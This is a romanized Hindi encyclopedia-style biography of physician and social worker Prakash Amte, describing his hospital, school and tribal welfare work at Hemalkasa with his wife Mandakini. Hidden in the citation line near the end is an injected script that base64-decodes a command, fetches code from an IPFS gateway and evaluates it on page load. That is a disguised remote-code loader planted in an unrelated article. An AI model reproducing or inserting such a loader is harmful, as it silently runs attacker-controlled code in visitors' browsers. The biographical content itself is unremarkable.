प्रकाश आम्टे
prakash amte
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| poora nam | prakash amte |
| janm | 26 disambar, 1948 |
| janm bhoomi | anandavan, maharashtr |
| abhibhavak | baba amte |
| pati/patni | mandakini amte |
| santan | d aau. digaant amte, aniket amte, arati amte |
| nagarikata | nagarikata |
| prasiddhi | chikitsak tatha samajik karyakarta |
| vidyalay | ji.em.si. k aaulej, nagapur |
| shiksha | medikal mean post grejuet |
| puraskar-upadhi | 'padmashri' (2002), 'reman maigsese puraskar' (2008) |
| any janakari | prakash amte ke pita baba amte gaandhivadi siddhantoan ke pakshadhar the tatha maharashtr ke kushtharogiyoan ke prati poori tarah samarpit ho chuke the. prakash amte bhi pita ke saman hi samajik karyoan mean sakriy rahe. |
prakash amte (aangrezi: Prakash Amte, aangrezi: 26 disambar, 1948, anandavan, maharashtr) prasiddh samajik karyakarta tatha chikitsak haian. ve khyatiprapt samajik karyakarta tatha 'reman maigsese puraskar' prapt baba amte ke putr haian. prakash amte tatha unaki patni mandakini amte jo svayan bhi ek chikitsak haian, ap donoan ko varsh 2008 mean unaki samajik sevaoan ke lie 'maigsese puraskar' se sammanit kiya gaya hai. isase poorv prakash ji ko 2002 mean 'padmashri' se bhi sammanit kiya ja chuka hai.
aangrezoan ki gulami se ajad hokar hindustan vikas ke raste par chal p da aur usane bahut kuchh hasil bhi kar liya, lekin sadiyoan se jangaloan aur doorasth nirjan ilakoan mean rahane vale adivasiyoan ke hisse ajadi ke sath varshoan bad bhi, n vikas aya, n badalav. unhean to deshavasi ke roop mean, bharat mean rahate hue bhi bharatavasi ki pahachan tak nahian mili, suvidha ki vyavastha to door ki bat hai. madiya gauan d jati ke adivasi bhi isi trasadi ke shikar haian. yah poorvi maharashtr mean andhr pradesh tatha chhattisagadh rajyoan ki sima par dedh sau varg kilomitar kshetr mean ghane jangal ke bich base haian. apane pita baba amte ki parampara ko age badhate hue prakash amte ne apani navavivahita patni mandakini amte ke sath jo ki unhian ki tarah ek medikal digridhari d aauktar thian, is adivasi kshetr mean apana dhyan lagaya. vah us kshetr mean apana anandavan ashram banakar rahane lage aur us kshetr ke adivasiyoan ko chikitsa ke sath any samajh tatha janakari dene lage. vahaan 1973 mean baba amte ke sath elbart shvitj ne adivasiyoan ki svasthy tatha shiksha ki avashyakataoan ke lie lok biradari prakalp pahale se khola hua tha. prakash dampati bhi usase ju d ge. amte dampati ke us seva kary ke lie unhean varsh 2008 ka 'reman maigsese puraskar' sanyukt roop se diya gaya.[1]
parichay
prakash amte ka janm 26 disambar, 1948 ko hua tha, lekin unaka lalan-palan unake pita baba amte dvara sthapit ashram 'anandavan' mean hua. prakash amte ke pita baba amte gaandhivadi siddhantoan ke pakshadhar the tatha maharashtr ke kushtharogiyoan ke prati poori tarah samarpit ho chuke the. prakash ne nagapur mean ji.em.si. se medikal mean post grejuet digri li aur shahar mean prektis shuroo kar di. tabhi 1974 mean unhean unake pita ka sandesh mila ki vah madiya gauand jati ke adivasiyoan ke hit mean unhian adivasiyoan ke kshetr mean pahuanchakar kam shuroo karean. pita ke is ahvan par prakash ne apani navavivahita patni mandakini amte ko sath liya aur hemalsaka ki or, apani shahari prektis ko bhoolakar, chal p de. unaki patni mandakini bhi post grejuet d aauktar thian aur us samay ek sarakari aspatal mean kam kar rahi thian. vah bhi pati ke sath apani naukari chho dakar hemalsaka ke lie chal p dian.
adivasiyoan ki seva
[[chitr:Prakash-Amte-and-Mandakini-Amte.png|thumb|250px|left|prakash amte patni mandakini amte ke sath]] hemalsaka mean prakash dampati ne ek bina daravaje ki kutiya banaee aur vahaan bas ge, jahaan n bijali thi, n nijata ki gopaniyata. vahaan in donoan ne madiya gauand adivasiyoan ke lie chikitsa tatha shiksha dene ka kam sambhala. ye log ek pe d ke niche apana davakhana lagate aur bas ag jalakar garmahat pane ki vyavastha karate. vahaan ke adivasi behad sharmile tatha sankochi svabhav vale the aur unake man mean in logoan ke prati vishvas lagabhag nahian tha. lekin prakash tatha mandakini ne har nahian mani. un donoan ne un adivasiyoan ki bhasha sikhi aur dhire-dhire unase sanvad banakar unaka vishvas jitana shuroo kiya. is kram mean unake kuchh anubhav bahut sarthak rahe. in logoan ki kushal chikitsa se mirgi ke rog se grast ek l daka jo buri tarah ag mean jal gaya tha, chamatkarik roop se thik ho gaya, isi tarah se ek maranasann adami jo dimagi maleriya se pidhit tha, ekadam thik hokar ji utha. is tarah jab bhi inaki chikitsa se koee adivasi svasth ho jata to prakash batate haian ki vah char aur marij lekar lautata. is kram se adivasiyoan ke bich prakash tatha mandakini apani jagah banate chale ge.[1]
1975 mean svitjaralaind ki vittiy sahayata se hemalsaka mean ek chhota-sa aspatal banaya ja saka, jisamean behatar chikitsa sansadhan upalabdh the. is aspatal mean prakash aur mandakini ke lie kuchh apareshan bhi kar pana sambhav ho saka. in logoan ne maleriya, tapedik, pechish-dast ke sath ag se jale hue logoan ka tatha saanp-bichchhoo adi ke kate ka ilaj bhi behatar dhang se shuroo hua. adivasiyoan ke jivan ke anukool inhoanne yathasambhav aspatal ka kam-kaj, aspatal ke bahar, pe d ke niche kiya aur usake lie unase kuchh bhi paisa nahian liya gaya.
skool ki sthapana
prakash tatha mandakini ne is bat ko samajha ki niraksharata ke karan ye adivasi van vibhag ke bhrasht adhikariyoan tatha doosare lalachi logoan ke hathoan aksar thage jate haian. amte dampati ne adivasiyoan ko unake adhikaroan ki janakari deni shuroo ki, tatha van adhikariyoan se, inaki taraph se batachit karani shuroo ki, prakash ne prayasapoorvak bhrasht van adhikariyoan ko vahaan se hatavaya bhi aur sath hi 1976 mean hemalsaka mean ek skool ki sthapana ki. madiya gauand jati ke log apane bachchoan ko skool bhejane mean hichakate the, lekin samay ke sath skool ne vikas kiya tatha adivasiyoan ko padhaee-likhaee ke sath kam-dhandhe se sambandhit shiksha bhi deni shuroo kar di. prakash mandakini ke apane bachche bhi isi skool mean padhane lage.
hemalsaka skool ne in adivasiyoan ko kheti-ba di, phal-sabji ugana tatha sianchaee adi ki janakari di tatha inhean van sanrakshan ke bare mean bhi samajhana shuroo kiya. van sanrakshan mean adivasiyoan ko vany pashuoan ke sanrakshan ka bhi samajhana shuroo kiya. van sanrakshan mean adivasiyoan ko vany pashuoan ke sanrakshan ka bhi mahattv samajhaya gaya. amte dampati ne hemalsaka mean lavaris pashuoan ki dekh-bhal ke lie ek sthan bhi banaya, jisase pashuoan ka jivan surakshit rahane laga. is samay se adivasiyoan ka pashuoan ko bhojy padarth ki tarah prayog karana kam hone laga. vah anaj tatha kheti ki upaj par nirbhar hona sikhane lage. prakash amte ke is kam mean rame hone ka andaj isi bat se lagaya ja sakata hai ki dau d-dhoop tatha ane-jane ke daur mean inhean apane pita banane ka pata bhi bad mean laga aur vah anand se vibhor ho uthe. is bich mano vah is or se lagabhag bekhabar the. yah unake jivan mean ek n bhulaee ja sakane vali ghatana ki tarah darj hua aur yah bhi, ki khud ko bhi bhool kar kisi kam mean kho jana kya hota hai.[1]
saral vyavahar
madiya gauand adivasiyoan ke bich amte dampati ka saral jivan-shilp tatha vyavahar unhean, adivasiyoan ke bich unhian jaisa banata chala gaya. ye donoan un adivasiyoan ko samman dete the aur unase samman pate bhi the. unaki veshabhoosha bhi unhian jaisi thi. jahaan tak sambhav hota tha, prakash dampati adivasi paddhati ka hi ilaj apanate the. isase unako janakari tatha dakshata mean ek ne jnan ki badhotari huee thi. prakash dvara sthapit skool mean bachche adivasi nrity-sangit ka abhyas karate the aur usi sanskriti se ju dav banae rakhate the.
amte dampatti ka aspatal adivasiyoan ke bich hemalsaka mean chal raha hai. isamean hajaroan adivasi marijoan ko muft chikitsa di jati hai. vahaan ek matritv sadan ki sthapana ki ja chuki hai, jisamean svasthy shiksha bhi di jati hai. sthaniy log prashikshan pakar ‘paidal d aauktaroan’ ki bhoomika nibhate hue prathamik chikitsa as-pas ke ilakoan par pahuanchate haian. apani sanskriti ko bachate hue unamean nee chetana ka sanchar hua hai. isi tarah amte ka skool bhi chal nikala hai. yahaan ke padhe bachche vahian daanktar, vakil, adhikari tatha adhyapak banakar jivan nirvah kar rahe haian. inamean se kuchh pulis mean bhi ge haian. prakash anandit hokar batate haian ki vahaan ke padhe nabbe pratishat padh-likh kar vahian samudayik seva ke lie lautate haian aur unamean prakash ka apana beta bhi hai. yah prakash tatha mandakini dvara die ge sanskaroan ka prabhav hai.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 maigsese puraskar vijeta bharatiy |lekhak: ashok gupta |prakashak: naya sahity, kashmiri get, dilli-110006 |sankalan: bharat diskavari pustakalay |prishth sankhya: 121 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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